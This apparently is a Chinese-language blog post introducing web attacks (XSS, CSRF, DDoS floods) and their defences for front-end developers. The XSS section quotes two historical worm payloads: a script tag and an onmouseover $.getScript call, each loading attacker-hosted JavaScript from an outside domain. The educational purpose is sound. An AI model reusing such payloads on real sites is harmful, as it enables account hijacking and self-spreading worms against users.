前言:之前比特幣可謂出盡風頭,各大炒幣機構,挖礦者,層出不窮。某天上班時,開啟線上網頁,載入奇慢無比,緊急排查,發現伺服器佔用率超過90%,進一步排查。原來是網頁被植入了一段挖礦程式碼...
本文第一個階段,也由此而來
XSS攻擊
XSS攻擊全稱跨站指令碼攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS,XSS是一種在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。
兩個國內,比較出名的例子。只是舉例子,請勿模仿,與本文概不相關。
新浪微博XSS事件
- 黑客通過對新浪微博的分析,發現新浪名人堂由於程式碼過濾不嚴,導致XSS漏洞的存在,並可以通過構造指令碼的方式植入惡意程式碼。
- 通過分析發現,在新浪名人堂部分中,當提交
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
url時,新浪會對該字串進行處理,變成類似http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
的url。 - 由於應用程式沒有對引數g做充足的過濾,且將引數值直接顯示在頁面中。黑客利用這一點,將參賽g,替換成他們的JS指令碼。該JS指令碼是黑客可以控制的檔案,使得黑客可以構造任意JS指令碼嵌入到weibo.com的頁面中,且通過Ajax技術完全實現非同步提交資料的功能,進而黑客通過構造特定的JS程式碼實現了受此XSS蠕蟲攻擊的客戶自動發微博、新增關注和發私信等操作。
- 然後,黑客為了使該XSS蠕蟲程式碼可以大範圍的感染傳播,會通過發私信或發微博的方式誘惑使用者去點選存在跨站程式碼的連結,尤其是針對V標認證的使用者,因為此類使用者擁有大量的關注者,所以如果此類使用者中毒,必然可以實現蠕蟲的大範圍、快速的傳播。
百度貼吧XSS事件
- 黑客通過對貼吧的分析,發現貼吧對於某個地方過濾不嚴,導致XSS漏洞的存在,並可以通過構造指令碼的方式植入惡意程式碼。
- 通過分析發現,在貼吧某個地方的分享/轉帖功能中,由於轉帖部分裡面有個div沒有做充足的過濾,還能在帖子列表直接顯示,黑客利用這一點,在div上利用onmouseover植入程式碼。
- 具體表現形式為發一個帖子,帖子標題是
xxx
,帖子內容是"style="height:100%;width:100%;position:fixed "onmouseover="$.getScript(\u0027//http://baid.ws/c8tf\u0027)
,只要使用者一移動滑鼠,馬上就會被感染,再將類似的帖子發出去,以此迴圈。
XSS攻擊型別
- 一類是反射型XSS,又稱非持久型XSS。當用受害者被引誘點選一個惡意連結,提交一個偽造的表單,惡意程式碼便會和正常返回資料一起作為響應傳送到受害者的瀏覽器,從而騙過了瀏覽器,使之誤以為惡意指令碼來自於可信的伺服器,以至於讓惡意指令碼得以執行。
- 一類是儲存型XSS,也就是持久型XSS。注入的指令碼永久的存在於目標伺服器上,每當受害者向伺服器請求此資料時就會重新喚醒攻擊指令碼;
- 一類是DOM型XSS, 有點類似於儲存型 XSS。但儲存型 XSS 是將惡意指令碼作為資料儲存在伺服器中,每個呼叫資料的使用者都會受到攻擊。但 DOM 型 XSS 則是一個本地的行為,更多是本地更新 DOM 時導致了惡意指令碼執行。
上面兩個例子,就是第二種攻擊型別造成的,危害十分巨大。
XSS防禦
- 特殊字元過濾
<script><script>
<style></style>
a,href | events
img,src | events
style=""
複製程式碼
- 引入CSP
- 內容安全策略(Content Security Policy),實質就是白名單制度, 開發者明確告訴客戶端,哪些外部資源可以載入和執行,大大增強了網頁的安全性。
- XSS與React
- By default, React DOM escapes any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that’s not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent XSS (cross-site-scripting) attacks.
- 也就是說React DOM 在渲染之前預設會 過濾 所有傳入的值。它可以確保你的應用不會被注入攻擊。所有的內容在渲染之前都被轉換成了字串。這樣可以有效地防止 XSS(跨站指令碼) 攻擊。
- 但是React有一個函式叫dangerouslySetInnerHTML,是React提供的替換瀏覽器DOM中的innerHTML介面的一個函式。使用此函式的時候得小心,應該轉義相關的插入內容,防止受到XSS攻擊。
CSRF攻擊
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。
- 與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
- 攻擊主要過程
- 瀏覽器登入並訪問網站A;
- 驗證成功,生成cookie,建立了回話;
- 攻擊者構造惡意網址,使用者訪問惡意地址;
- 攻擊者獲取受害者Cookie,訪問網站A;
- 攻擊者模仿使用者登入訪問A成功。
- 攻擊側重點
- CSRF的攻擊建立在瀏覽器與web伺服器的會話之中
- 欺騙使用者訪問url
簡單的例子,介紹CSRF攻擊
大家應該都知道,現在支付掃碼很流行。
- 假如有一個大媽A準備上街擺攤,開始之後,所有的收錢過程,都是面對面交易。人多的時候,找錢很麻煩,有一天,一個年輕人提出用XX支付。然後一頓解釋跟操作之後,大媽學會了移動支付收錢。她發現這種方式非常方便,不用從口袋裡掏錢去找零錢。
- 人多了之後,大媽每次重複的掏手機,讓她很鬱悶,旁邊的小販告訴她,可以將支付碼列印出來。大媽嘗試之後,發現更加方便了。
- 有一天,一個壞心眼的人,趁大媽不注意,將支付碼換成了他的。於是就形成了一種大媽在場,但是又不知情的情況下,少收了很多的錢。
- CSRF差不多就是這種操作,比如你在網站A瀏覽一段內容,然後裡面有個打賞功能。每次看完文章,你都要打賞一下別人。有一天,突然彈出一個連結,'測測自己的桃花運',然後好奇一點之後,發現網頁閃爍了一下之後就沒反應了。你繼續看完文章,點選打賞,提示餘額不足...
- 由於CSRF的例子不多,所以舉了一個非常淺顯的例子,來幫助大家更直白的瞭解CSRF的攻擊模式。
CSRF防禦
- 客戶端:
- 涉及到私密部分的內容,加上驗證碼驗證
- 表單提交的時候,加上一個雙向繫結的值,這個值從服務端請求回來,做為一個真種子。再利用一個演算法計算出來,只有手動輸入的,才能觸發這個值,提交表單的時候,一起提交上去。或者從服務端請求來一個token,表單提交的時候,一起提交,但是這種方法很麻煩。
- 服務端:
- 驗證 HTTP Referer 欄位,也就是Referer Check,Referer Check在Web最常見的應用就是“防止圖片盜鏈”。
- 同理,Referer Check也可以被用於檢查請求是否來自合法的“源”(Referer值是否是指定頁面,或者網站的域),如果都不是,那麼就極可能是CSRF攻擊。
- 然而,這種方法並非萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對於 Referer 的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來講,這樣並不安全。
- 將GET請求改成POST請求,但是這種方式也不是絕對安全的。
- 在 HTTP 頭中自定義屬性並驗證,然而這種方法的侷限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面區域性的非同步重新整理,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,後退,重新整理,收藏等操作,給使用者帶來不便。
- 驗證 HTTP Referer 欄位,也就是Referer Check,Referer Check在Web最常見的應用就是“防止圖片盜鏈”。
DDOS攻擊
DDOS(Distributed Denial of Service)攻擊全稱分散式拒絕服務。
- 主要通過大量合法的請求佔用大量網路資源, 從而使合法使用者無法得到服務的響應,是目前最強大、最難防禦的攻擊之一。
- DDoS攻擊可以針對網路通訊協議的各層,手段大致有:TCP類的SYN Flood、ACK Flood,UDP類的Fraggle、Trinoo,DNS Query Flood,ICMP Flood,Slowloris類。
- 通常,在攻擊開始前,攻擊者會提前控制大量的使用者計算機,稱之為“肉雞”,並通過指令使大量的肉雞在同一時刻對某個主機進行訪問,從而達到癱瘓目標主機的目的。
- ddos攻擊防禦最大的難點,在於攻擊者發起的攻擊的成本遠低於防禦的成本。比如黑客可以輕易的控制大量肉雞發起10G,100G的攻擊。而要防禦這樣的攻擊10G,100G頻寬的成本卻是100W,1000W…。
SYN Flood
- 簡單說一下tcp三次握手,客戶端先伺服器發出請求,請求建立連線,然後伺服器返回一個報文,表明請求以被接受,然後客戶端也會返回一個報文,最後建立連線。
- 那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給伺服器請求連線,這個時候伺服器接受到了,根據tcp三次握手的規則,伺服器也要回應一個報文,可是這個ip是偽造的,報文回應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候伺服器收不到第三次握手時客戶端發出的報文,又再重複第二次握手的操作。
- 如果攻擊者偽造了大量的ip地址併發出請求,這個時候伺服器將維護一個非常大的半連線等待列表,佔用了大量的資源,最後伺服器癱瘓。
ACK Flood
- 在TCP連線建立之後,所有的資料傳輸TCP報文都是帶有ACK標誌位的,主機在接收到一個帶有ACK標誌位的資料包的時候,需要檢查該資料包所表示的連線四元組是否存在,如果存在則檢查該資料包所表示的狀態是否合法,然後再向應用層傳遞該資料包。
- 如果在檢查中發現該資料包不合法,例如該資料包所指向的目的埠在本機並未開放,則主機作業系統協議棧會回應RST包告訴對方此埠不存在。通常狀態檢測防火牆所做的事情與此類似,只不過防火牆只攔截非法的資料包,而不主動回應。
- 當發包速率很大的時候,主機作業系統將耗費大量的精力接收報文、判斷狀態,同時要主動回應RST報文,正常的資料包就可能無法得到及時的處理。
DNS Query Flood
- UDP DNS Query Flood攻擊採用的方法是向被攻擊的伺服器傳送大量的域名解析請求,通常請求解析的域名是隨機生成或者是網路世界上根本不存在的域名。
- 被攻擊的DNS 伺服器在接收到域名解析請求的時候首先會在伺服器上查詢是否有對應的快取,如果查詢不到並且該域名無法直接由伺服器解析的時候,DNS 伺服器會向其上層DNS伺服器遞迴查詢域名資訊。
- 域名解析的過程給伺服器帶來了很大的負載,每秒鐘域名解析請求超過一定的數量就會造成DNS伺服器解析域名超時。
ICMP flood
- ICMP FLOOD是一種DDOS攻擊,通過對其目標傳送超過65535位元組的資料包,就可以令目標主機癱瘓,如果大量傳送就成了洪水攻擊。
- ICMP是(Internet Control Message Protocol)Internet控制報文協議。它是TCP/IP協議族的一個子協議,用於在IP主機、路由器之間傳遞控制訊息。控制訊息是指網路通不通、主機是否可達、路由是否可用等網路本身的訊息。這些控制訊息雖然並不傳輸使用者資料,但是對於使用者資料的傳遞起著重要的作用。
CC攻擊
- CC(Challenge Collapsar)攻擊屬於DDos的一種,是基於應用層HTTP協議 發起的DDos攻擊,也被稱為HTTP Flood。
- 攻擊者通過控制的大量“肉雞”或者利用從網際網路上搜尋的大量匿名的HTTP代理,模擬正常使用者給網站發起請求直到該網站拒絕服務為止。
- 大部分網站會通過CDN以及分散式快取來加快服務端響應,提升網站的吞吐量,而這些精心構造的HTTP請求往往有意避開這些快取,需要進行多次DB查詢操作或者是一次請求返回大量的資料,加速系統 資源消耗,從而拖垮後端的業務處理系統,甚至連相關儲存以及日誌收集系統也無法倖免。
DDOS防禦
- 主要在於硬體,主機,伺服器系統,這裡就不細說了(主要是不太懂...)。
- 阿里巴巴的安全團隊在實戰中發現,DDoS 防禦產品的核心是檢測技術和清洗技術。
延伸閱讀: GitHub遭遇最大峰值的DDOS攻擊
這裡有很多攻擊模式都未提到,比如XXE,SQLI等,這篇文章在這裡只起到一個拋磚的作用,每一個部分都可以深入研究很久,只是希望大家引起對WEB安全的重視。
這是13年到17年的一個圖片對比,圖片來源OWASP更新對比